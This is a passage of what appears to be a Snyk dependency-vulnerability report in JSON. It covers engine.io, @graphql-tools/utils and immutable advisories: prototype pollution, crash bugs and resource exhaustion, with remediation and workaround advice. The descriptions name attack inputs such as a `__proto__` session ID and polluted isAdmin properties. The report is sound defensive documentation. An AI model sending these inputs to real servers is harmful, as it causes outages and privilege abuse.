Advisory](https://github.com/socketio/socket.io/security/advisories/GHSA-r635-g3xr-vw7x)\n",
"epssDetails": {
"percentile": "0.47751",
"probability": "0.00636",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-59725"
],
"CWE": [
"CWE-404"
],
"GHSA": [
"GHSA-r635-g3xr-vw7x"
]
},
"packageName": "engine.io",
"proprietary": false,
"creationTime": "2026-07-09T09:06:24.990056Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-08T18:45:41Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-09T09:06:25.227210Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:06:07.562488Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"socket.io@4.8.1",
"engine.io@6.6.4"
],
"upgradePath": [
false,
"socket.io@4.8.1",
"engine.io@6.6.11"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "engine.io",
"version": "6.6.4",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-ENGINEIO-17900560",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"ni8walk3r"
],
"semver": {
"vulnerable": [
">=6.5.0 <6.6.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.6.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "engine.io",
"references": [
{
"url": "https://github.com/socketio/socket.io/commit/1fa1f46cd420ac5b57bb4c04c959b58f3c79158c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/socketio/socket.io/releases/tag/engine.io@6.6.7",
"title": "GitHub Release"
},
{
"url": "https://github.com/socketio/socket.io/security/advisories/GHSA-gr94-w7qr-f4j3",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-11T07:52:20.469866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:06:08.017637Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:06:08.017637Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-11T07:52:20.469866Z"
}
],
"description": "## Overview\n[engine.io](https://github.com/socketio/engine.io) is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server\n\nAffected versions of this package are vulnerable to Prototype Pollution through the WebTransport upgrade handling in `packages/engine.io/lib/server.ts`. An attacker can crash the server by sending a crafted unauthenticated WebTransport upgrade request with a session ID such as `__proto__`, which the lookup resolves through the `clients` object’s prototype chain instead of rejecting as invalid. When this path processes a non-own SID, it raises a `TypeError` during WebTransport handshake handling; in affected Node.js configurations, this can manifest as an unhandled Promise rejection, terminating the process. The result is a remote service outage affecting deployments with WebTransport enabled.\r\n\r\n**Notes**\r\n\r\n- WebTransport is opt-in in Engine.IO; deployments that only use the default polling/WebSocket transports are not exposed to this crash path.\r\n- The crash is triggered during the upgrade handshake by a session ID value carried in the WebTransport packet payload, so setups that front Engine.IO with a proxy or HTTP/3/WebTransport gate can avoid the vulnerable code path if that traffic never reaches the server.\r\n\r\n**Workarounds**\r\n\r\n- Disable WebTransport support by ensuring `webtransport` is not included in the enabled transports list; for example, configure `transports: [\"polling\", \"websocket\"]` to prevent the unauthenticated WebTransport upgrade DoS path.\r\n- If immediate upgrade is not possible, restrict access to WebTransport endpoints at the reverse proxy or HTTP/3 layer to limit who can send the malicious upgrade request.\r\n- Disable HTTP/3/WebTransport support until `engine.io@6.6.7` or later is deployed to block the vulnerable upgrade handling entirely.\r\n- Run the service under a supervisor as a partial availability mitigation so repeated crash attempts can be restarted, though this does not prevent the attack itself.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `engine.io` to version 6.6.7 or higher.\n## References\n- [GitHub Commit](https://github.com/socketio/socket.io/commit/1fa1f46cd420ac5b57bb4c04c959b58f3c79158c)\n- [GitHub Release](https://github.com/socketio/socket.io/releases/tag/engine.io@6.6.7)\n- [Maintainer's Advisory](https://github.com/socketio/socket.io/security/advisories/GHSA-gr94-w7qr-f4j3)\n",
"epssDetails": {
"percentile": "0.46458",
"probability": "0.00609",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-59724"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-gr94-w7qr-f4j3"
]
},
"packageName": "engine.io",
"proprietary": false,
"creationTime": "2026-07-09T09:44:41.495932Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-08T18:47:11Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-09T09:44:41.672888Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:06:08.017637Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"socket.io@4.8.1",
"engine.io@6.6.4"
],
"upgradePath": [
false,
"socket.io@4.8.1",
"engine.io@6.6.11"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "engine.io",
"version": "6.6.4",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-ENGINEIO-20335255",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Thai Son Dinh"
],
"semver": {
"vulnerable": [
">=6.6.0 <6.6.10"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.6.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "engine.io",
"references": [
{
"url": "https://github.com/socketio/socket.io/security/advisories/GHSA-2gc4-cqfq-p2gv",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/socketio/socket.io/commit/86db1fc3db2cd315a065d64c4e48918ccf9b4729",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-14T07:13:17.802574Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-14T14:51:55.450479Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-14T14:51:55.450479Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-14T07:13:17.802574Z"
}
],
"description": "## Overview\n[engine.io](https://github.com/socketio/engine.io) is a realtime engine behind Socket.IO. It provides the foundation of a bidirectional connection between client and server\n\nAffected versions of this package are vulnerable to Uncaught Exception via the session upgrade handler in `server.ts`, where follow-up requests and transport upgrades do not validate that the Engine.IO protocol revision matches the one negotiated during the initial handshake. An attacker can send an upgrade request with a mismatched or missing `EIO` query parameter, causing a transport using a different parser and heartbeat mode to attach to an existing session, which disrupts the session and results in a crash.\n## Remediation\nUpgrade `engine.io` to version 6.6.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/socketio/socket.io/security/advisories/GHSA-2gc4-cqfq-p2gv)\n- [GitHub Commit](https://github.com/socketio/socket.io/commit/86db1fc3db2cd315a065d64c4e48918ccf9b4729)\n",
"epssDetails": {
"percentile": "0.46599",
"probability": "0.00583",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102599"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-2gc4-cqfq-p2gv"
]
},
"packageName": "engine.io",
"proprietary": false,
"creationTime": "2026-09-30T12:23:14.764954Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-29T23:44:33Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-30T12:23:14.953925Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-14T14:51:55.450479Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"socket.io@4.8.1",
"engine.io@6.6.4"
],
"upgradePath": [
false,
"socket.io@4.8.1",
"engine.io@6.6.11"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "engine.io",
"version": "6.6.4",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"@apollo/server@5.5.0",
"@graphql-tools/schema@10.0.32",
"@graphql-tools/merge@9.1.8",
"@graphql-tools/utils@11.0.1"
],
"upgradePath": [
false,
"@apollo/server@5.5.0",
"@graphql-tools/schema@10.1.5",
"@graphql-tools/merge@9.2.8",
"@graphql-tools/utils@12.1.0"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "@graphql-tools/utils",
"version": "11.0.1",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-IMMUTABLE-17900558",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"nvth"
],
"semver": {
"vulnerable": [
"<3.8.4",
">=4.0.0-rc.1 <4.3.9",
">=5.0.0-beta.1 <5.1.8"
]
},
"exploit": "Not Defined",
"fixedIn": [
"3.8.4",
"4.3.9",
"5.1.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "immutable",
"references": [
{
"url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-xvcm-6775-5m9r",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/3dd7e5655012597a41873e328bf9142a8901527b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/e51d49fc612ded5ec4dfb94ff294d22074269b0f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9",
"title": "GitHub Release"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8",
"title": "GitHub Release"
}
],
"cvssDetails": [],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:17:02.135918Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:17:02.135918Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `HashCollisionNode` class in `Immutable.Map` and `Immutable.Set`. An attacker can cause excessive CPU consumption by supplying a large number of keys with identical 32-bit hashes, leading to degraded insertion and lookup performance through crafted input objects.\n## Remediation\nUpgrade `immutable` to version 3.8.4, 4.3.9, 5.1.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/immutable-js/immutable-js/security/advisories/GHSA-xvcm-6775-5m9r)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/3dd7e5655012597a41873e328bf9142a8901527b)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/e51d49fc612ded5ec4dfb94ff294d22074269b0f)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8)\n",
"epssDetails": {
"percentile": "0.49605",
"probability": "0.00665",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-59880"
],
"CWE": [
"CWE-407"
],
"GHSA": [
"GHSA-xvcm-6775-5m9r"
]
},
"packageName": "immutable",
"proprietary": false,
"creationTime": "2026-07-09T09:44:04.125578Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-08T18:46:33Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-09T09:44:04.311796Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:17:02.135918Z",
"socialTrendAlert": false,
"packagePopularityRank": 99,
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.0.25",
"@ardatan/relay-compiler@12.0.3",
"immutable@3.8.3"
],
"upgradePath": [
false,
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.1.14",
"@ardatan/relay-compiler@13.0.2",
"immutable@5.1.9"
],
"isUpgradable": true,
"isPatchable": false,
"isPinnable": false,
"isRuntime": false,
"name": "immutable",
"version": "3.8.3",
"severityWithCritical": "high"
},
{
"id": "SNYK-JS-IMMUTABLE-17900573",
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Mateusz Gierblinski"
],
"semver": {
"vulnerable": [
"<3.8.4",
">=4.0.0-rc.1 <4.3.9",
">=5.0.0-beta.1 <5.1.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"3.8.4",
"4.3.9",
"5.1.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "immutable",
"references": [
{
"url": "https://github.com/immutable-js/immutable-js/security/advisories/GHSA-v56q-mh7h-f735",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/a1a1ee412dcaa380ab325196283d06594ffe4b84",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/commit/f0bc997d8eb9886aff2236635aa210a95a04304a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9",
"title": "GitHub Release"
},
{
"url": "https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-09-22T05:58:45.717773Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:17:01.534275Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:17:01.534275Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-09-22T05:58:45.717773Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Integer Overflow or Wraparound in the `setListBounds` function in `src/List.js` when handling an index or size in the range 2 ** 30 to 2 ** 31. An attacker can cause an empty list to enter an uncatchable infinite loop, trigger unbounded memory allocation until process abort, or cause silent value wrapping by supplying crafted input values.\n## Remediation\nUpgrade `immutable` to version 3.8.4, 4.3.9, 5.1.8 or higher.\n## References\n- [GitHub Advisory](https://github.com/immutable-js/immutable-js/security/advisories/GHSA-v56q-mh7h-f735)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/a1a1ee412dcaa380ab325196283d06594ffe4b84)\n- [GitHub Commit](https://github.com/immutable-js/immutable-js/commit/f0bc997d8eb9886aff2236635aa210a95a04304a)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v4.3.9)\n- [GitHub Release](https://github.com/immutable-js/immutable-js/releases/tag/v5.1.8)\n",
"epssDetails": {
"percentile": "0.49607",
"probability": "0.00665",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-59879"
],
"CWE": [
"CWE-190"
],
"GHSA": [
"GHSA-v56q-mh7h-f735"
]
},
"packageName": "immutable",
"proprietary": false,
"creationTime": "2026-07-09T09:51:55.702404Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-08T18:46:39Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
